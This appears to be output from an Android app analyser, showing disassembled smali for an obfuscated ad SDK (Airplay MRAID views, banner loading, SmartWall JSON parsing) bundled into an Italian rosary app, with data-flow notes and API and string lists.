0.param p1, "imageURL" # Ljava/lang/String;
1.param p2, "fileNameWithExt" # Ljava/lang/String;
2.prologue
3const/4 v2, 0x0
5invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 0
6try_start_4:
7iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
8if-eqz v2, :cond_d
10iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
12invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V
13cond_d: if-eqz p1, :cond_17
15const-string v2, ""
17invoke-virtual {p1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
18move-result v2
19if-eqz v2, :cond_1f
20cond_17:
21const-string v2, "storePicture"
23const-string v3, "Image url is null."
25invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: storePicture
    • p1: Image url is null.
26cond_1e: return-void
27cond_1f: if-eqz p2, :cond_29
29const-string v2, ""
31invoke-virtual {p2, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
32move-result v2
33if-eqz v2, :cond_4c
34cond_29:
35const-string v2, "storePicture"
37const-string v3, "File name is null."
39invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: storePicture
    • p1: File name is null.
40try_end_30: goto/16 :goto_1e
41catch_31: move-exception v1
43const-string v2, "storePicture"
45const-string v3, "Error occured while storing picture."
47invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: storePicture
    • p1: Error occured while storing picture.
49const-string v2, "error"
51invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: error
53iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
54if-eqz v2, :cond_47
56iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
58invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onCloseListener()V
59cond_47: const/4 v2, 0x1
61invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
62goto/16 :goto_1e
63cond_4c:
64invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
65move-result-object v2
66instance-of v2, v2, Landroid/app/Activity;
67if-eqz v2, :cond_1e
68new-instance v0, Landroid/app/AlertDialog$Builder;
70invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
71move-result-object v2
73invoke-direct {v0, v2}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
75const-string v2, "This image will be added in gallery. Please confirm ?"
77invoke-virtual {v0, v2}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: This image will be added in gallery. Please confirm ?
79const-string v2, "Yes"
80new-instance v3, Lcom/vxjxu/jkhfn1870/MraidView$2;
82invoke-direct {v3, p0, p1, p2}, Lcom/vxjxu/jkhfn1870/MraidView$2;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;Ljava/lang/String;Ljava/lang/String;)V
84invoke-virtual {v0, v2, v3}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: Yes
86const-string v2, "No"
87new-instance v3, Lcom/vxjxu/jkhfn1870/MraidView$3;
89invoke-direct {v3, p0}, Lcom/vxjxu/jkhfn1870/MraidView$3;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V
91invoke-virtual {v0, v2, v3}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: No
92new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$4;
94invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$4;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V
96invoke-virtual {v0, v2}, Landroid/app/AlertDialog$Builder;->setOnCancelListener(Landroid/content/DialogInterface$OnCancelListener;)Landroid/app/AlertDialog$Builder;
97const/4 v2, 0x0
99invoke-virtual {v0, v2}, Landroid/app/AlertDialog$Builder;->setCancelable(Z)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: 0
101invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->show()Landroid/app/AlertDialog;
102try_end_85: goto/16 :goto_1e
APIs
  • com.vxjxu.jkhfn1870.MraidView.access$100
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.content.Intent.setFlags
  • android.content.Intent.addFlags
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.content.Context.startActivity
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Exception.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
Strings
  • android.intent.action.VIEW
  • 77
  • AirplayMraid
  • Error whlie displaying App......:
  • downloadApp
  • Error occurred while redirecting to market.
  • error
Position Instruction Meta Information
0.param p1, "url" # Ljava/lang/String;
1.annotation runtime Landroid/webkit/JavascriptInterface;
2.end annotation
3.prologue
4try_start_0:
5iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
7invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
8move-result-object v2
9if-eqz v2, :cond_11
11iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
13invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
14move-result-object v2
16invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V
17cond_11: new-instance v1, Landroid/content/Intent;
19const-string v2, "android.intent.action.VIEW"
21invoke-static {p1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
22move-result-object v3
24invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
25const/high16 v2, 0x10000000
27invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268435456
28const/high16 v2, 0x800000
30invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
32iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
34invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
35move-result-object v2
37invoke-virtual {v2, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
39iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
41const-string v3, "77"
43invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 77
44try_end_36:
45iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
46const/4 v3, 0x1
48invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
49return-void
50catch_3d: move-exception v0
52const-string v2, "AirplayMraid"
53new-instance v3, Ljava/lang/StringBuilder;
55invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
57const-string v4, "Error whlie displaying App......: "
59invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Error whlie displaying App......:
60move-result-object v3
62invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
63move-result-object v4
65invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
66move-result-object v3
68invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
69move-result-object v3
71invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
73iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
75const-string v3, "downloadApp"
77const-string v4, "Error occurred while redirecting to market."
79invoke-virtual {v2, v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: downloadApp
    • p1: Error occurred while redirecting to market.
81iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
83const-string v3, "error"
85invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: error
86goto/16 :goto_36
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdView.setBackGround
  • java.lang.String.equals
  • android.util.Log.i
  • java.lang.String.equals
  • android.util.Log.i
  • java.lang.Exception.printStackTrace
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.AdView.getContext
  • android.content.Context.getApplicationContext
  • com.vxjxu.jkhfn1870.ImageBanner.<init>
  • com.vxjxu.jkhfn1870.AdView.animateOldViews
  • com.vxjxu.jkhfn1870.AdView.addView
  • com.vxjxu.jkhfn1870.AdView.createAnimation
  • com.vxjxu.jkhfn1870.ImageBanner.startAnimation
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.AdView.removeAllViews
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.AdView.setVisibility
Strings
  • AirplayMraid
  • Tag data is null
  • image url is null
  • Loading banner ad
  • Ad loaded successfully
  • Ad not loaded. Banner data is null.
Position Instruction Meta Information
0.prologue
1try_start_0:
2invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->setBackGround()V
4iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
5if-eqz v1, :cond_a2
7iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
9invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd()Z
10move-result v1
11if-nez v1, :cond_27
13iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
15invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript()Z
16move-result v1
17if-nez v1, :cond_27
19iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
21invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd()Z
22move-result v1
23if-nez v1, :cond_27
25iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
27invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl()Z
28move-result v1
29if-eqz v1, :cond_3d
30cond_27:
31iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
33invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String;
34move-result-object v1
36const-string v2, ""
38invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
39move-result v1
40if-eqz v1, :cond_60
42const-string v1, "AirplayMraid"
44const-string v2, "Tag data is null"
46invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Tag data is null
47goto_3c: return-void
48cond_3d:
49iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
51invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getAdimage()Ljava/lang/String;
52move-result-object v1
53if-eqz v1, :cond_53
55iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
57invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getAdimage()Ljava/lang/String;
58move-result-object v1
60const-string v2, ""
62invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
63move-result v1
64if-eqz v1, :cond_60
65cond_53:
66const-string v1, "AirplayMraid"
68const-string v2, "image url is null"
70invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: image url is null
71try_end_5a: goto/16 :goto_3c
72catch_5b: move-exception v10
74invoke-virtual {v10}, Ljava/lang/Exception;->printStackTrace()V
75goto/16 :goto_3c
76cond_60:
77const-string v1, "AirplayMraid"
79const-string v2, "Loading banner ad"
81invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Loading banner ad
82new-instance v0, Lcom/vxjxu/jkhfn1870/ImageBanner;
84invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context;
85move-result-object v1
87invoke-virtual {v1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
88move-result-object v1
89iget v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I
90iget v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->heightDp:I
92iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler;
94iget-object v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
96iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;
97iget-boolean v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode:Z
98move-object v8, p0
100invoke-direct/range {v0 .. v8}, Lcom/vxjxu/jkhfn1870/ImageBanner;-><init>(Landroid/content/Context;IILandroid/os/Handler;Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;ZLcom/vxjxu/jkhfn1870/AdView;)V
102invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->animateOldViews()V
104invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->addView(Landroid/view/View;)V
105const/4 v1, 0x0
107invoke-direct {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->createAnimation(Z)Landroid/view/animation/Animation;
  • Data flow analysis:
    • p0: 0
108move-result-object v9
109if-eqz v9, :cond_91
111invoke-virtual {v0, v9}, Lcom/vxjxu/jkhfn1870/ImageBanner;->startAnimation(Landroid/view/animation/Animation;)V
112cond_91:
113const-string v1, "AirplayMraid"
115const-string v2, "Ad loaded successfully"
117invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Ad loaded successfully
119sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
120if-eqz v1, :cond_3c
122sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
124invoke-interface {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdLoadedListener()V
125goto/16 :goto_3c
126cond_a2:
127invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->removeAllViews()V
129const-string v1, "AirplayMraid"
131const-string v2, "Ad not loaded. Banner data is null."
133invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Ad not loaded. Banner data is null.
134const/16 v1, 0x8
136invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
137try_end_b1: goto/16 :goto_3c
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • java.lang.String.equalsIgnoreCase
  • java.lang.String.equals
  • java.lang.String.startsWith
  • android.util.Log.e
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
Strings
  • AirplaySDK
  • SmartWall JSON:
  • status
  • message
  • adtype
  • Success
  • <VAST>
  • Error:
Position Instruction Meta Information
0.param p1, "result" # Ljava/lang/String;
1.prologue
3const-string v6, "AirplaySDK"
4new-instance v7, Ljava/lang/StringBuilder;
6invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
8const-string v8, "SmartWall JSON: "
10invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: SmartWall JSON:
11move-result-object v7
13invoke-virtual {v7, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
14move-result-object v7
16invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
17move-result-object v7
19invoke-static {v6, v7}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
20if-nez p1, :cond_1b
21cond_1a: return-void
22try_start_1b: new-instance v2, Lorg/json/JSONObject;
24invoke-direct {v2, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
26const-string v6, "status"
28invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: status
29move-result v6
30if-eqz v6, :cond_78
31const/4 v4, 0x0
32goto_29:
33const-string v6, "message"
35invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: message
36move-result v6
37if-eqz v6, :cond_7f
39const-string v3, ""
40goto_33:
41const-string v6, "adtype"
43invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: adtype
44move-result v6
45if-eqz v6, :cond_86
47const-string v0, ""
48goto_3d: const/16 v6, 0xc8
49if-ne v4, v6, :cond_1a
51const-string v6, "Success"
53invoke-virtual {v3, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: Success
54move-result v6
55if-eqz v6, :cond_1a
57const-string v6, ""
59invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
60move-result v6
61if-nez v6, :cond_1a
62sget-boolean v6, Lcom/vxjxu/jkhfn1870/AirPlay;->enableCaching:Z
63if-eqz v6, :cond_a9
65const-string v6, "<VAST>"
67invoke-virtual {p1, v6}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: <VAST>
68move-result v6
69if-eqz v6, :cond_8d
70sget v6, Landroid/os/Build$VERSION;->SDK_INT:I
71const/4 v7, 0x7
72if-le v6, v7, :cond_8d
73new-instance v5, Lcom/vxjxu/jkhfn1870/VideoAd;
75invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
76move-result-object v6
78invoke-direct {v5, v6}, Lcom/vxjxu/jkhfn1870/VideoAd;-><init>(Landroid/content/Context;)V
80invoke-virtual {v5, p1}, Lcom/vxjxu/jkhfn1870/VideoAd;->parseVideoAd(Ljava/lang/String;)V
81try_end_6e: goto/16 :goto_1a
82catch_6f: move-exception v1
84const-string v6, "AirplaySDK"
86const-string v7, "Error: "
88invoke-static {v6, v7, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error:
89goto/16 :goto_1a
90try_start_78:
91const-string v6, "status"
93invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: status
94move-result v4
95goto/16 :goto_29
96cond_7f:
97const-string v6, "message"
99invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: message
100move-result-object v3
101goto/16 :goto_33
102cond_86:
103const-string v6, "adtype"
105invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: adtype
106move-result-object v0
107goto/16 :goto_3d
108cond_8d:
109iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AirPlay$2;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
111invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$100(Lcom/vxjxu/jkhfn1870/AirPlay;)Lcom/vxjxu/jkhfn1870/Caching;
112move-result-object v6
114sget-object v7, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
116invoke-virtual {v6, v7, p1}, Lcom/vxjxu/jkhfn1870/Caching;->saveJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;Ljava/lang/String;)Z
118sget-object v6, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
120invoke-static {v6}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendAdCached(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V
122iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AirPlay$2;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
124invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$100(Lcom/vxjxu/jkhfn1870/AirPlay;)Lcom/vxjxu/jkhfn1870/Caching;
125move-result-object v6
126const/4 v7, 0x1
128invoke-virtual {v6, v7}, Lcom/vxjxu/jkhfn1870/Caching;->setSmartWallAd(Z)V
129goto/16 :goto_1a
130cond_a9:
131iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AirPlay$2;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
133invoke-virtual {v6, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseSmartwallJson(Ljava/lang/String;)V
134try_end_ae: goto/16 :goto_1a
APIs
  • java.util.GregorianCalendar.<init>
  • java.util.Calendar.get
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • prsolutions.rosariofacileads.RosarioFacile.getString
Strings
  • Oggi \u00e8
  • . Recitiamo i Misteri
Position Instruction Meta Information
0.prologue
1const v7, 0x7f05000a
2const v6, 0x7f050008
3const v5, 0x7f050005
5const-string v1, ""
7const-string v3, ""
8new-instance v0, Ljava/util/GregorianCalendar;
10invoke-direct {v0}, Ljava/util/GregorianCalendar;-><init>()V
11const/4 v4, 0x7
13invoke-virtual {v0, v4}, Ljava/util/Calendar;->get(I)I
  • Data flow analysis:
    • p0: 7
14move-result v2
15packed-switch v2, :pswitch_data_90
16goto_1a: new-instance v4, Ljava/lang/StringBuilder;
18invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
20const-string v5, "Oggi \u00e8 "
22invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Oggi \u00e8
23move-result-object v4
25invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
26move-result-object v4
28const-string v5, ". Recitiamo i Misteri "
30invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: . Recitiamo i Misteri
31move-result-object v4
33invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
34move-result-object v4
36invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
37move-result-object v3
38return-object v3
39pswitch_38: const v4, 0x7f050006
41invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034118
42move-result-object v3
44invoke-virtual {p0, v7}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034122
45move-result-object v1
46goto/16 :goto_1a
47pswitch_44: const v4, 0x7f05000d
49invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034125
50move-result-object v3
52invoke-virtual {p0, v6}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034120
53move-result-object v1
54goto/16 :goto_1a
55pswitch_50: const v4, 0x7f05000e
57invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034126
58move-result-object v3
60invoke-virtual {p0, v5}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: . Recitiamo i Misteri
61move-result-object v1
62goto/16 :goto_1a
63pswitch_5c: const v4, 0x7f05000f
65invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034127
66move-result-object v3
68invoke-virtual {p0, v7}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034122
69move-result-object v1
70goto/16 :goto_1a
71pswitch_68: const v4, 0x7f050009
73invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034121
74move-result-object v3
75const v4, 0x7f05000c
77invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034124
78move-result-object v1
79goto/16 :goto_1a
80pswitch_77: const v4, 0x7f050020
82invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034144
83move-result-object v3
85invoke-virtual {p0, v5}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: . Recitiamo i Misteri
86move-result-object v1
87goto/16 :goto_1a
88pswitch_83: const v4, 0x7f050018
90invoke-virtual {p0, v4}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034136
91move-result-object v3
93invoke-virtual {p0, v6}, Lprsolutions/rosariofacileads/RosarioFacile;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034120
94move-result-object v1
95goto/16 :goto_1a
96nop
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdView.setBackGround
  • java.lang.Object.equals
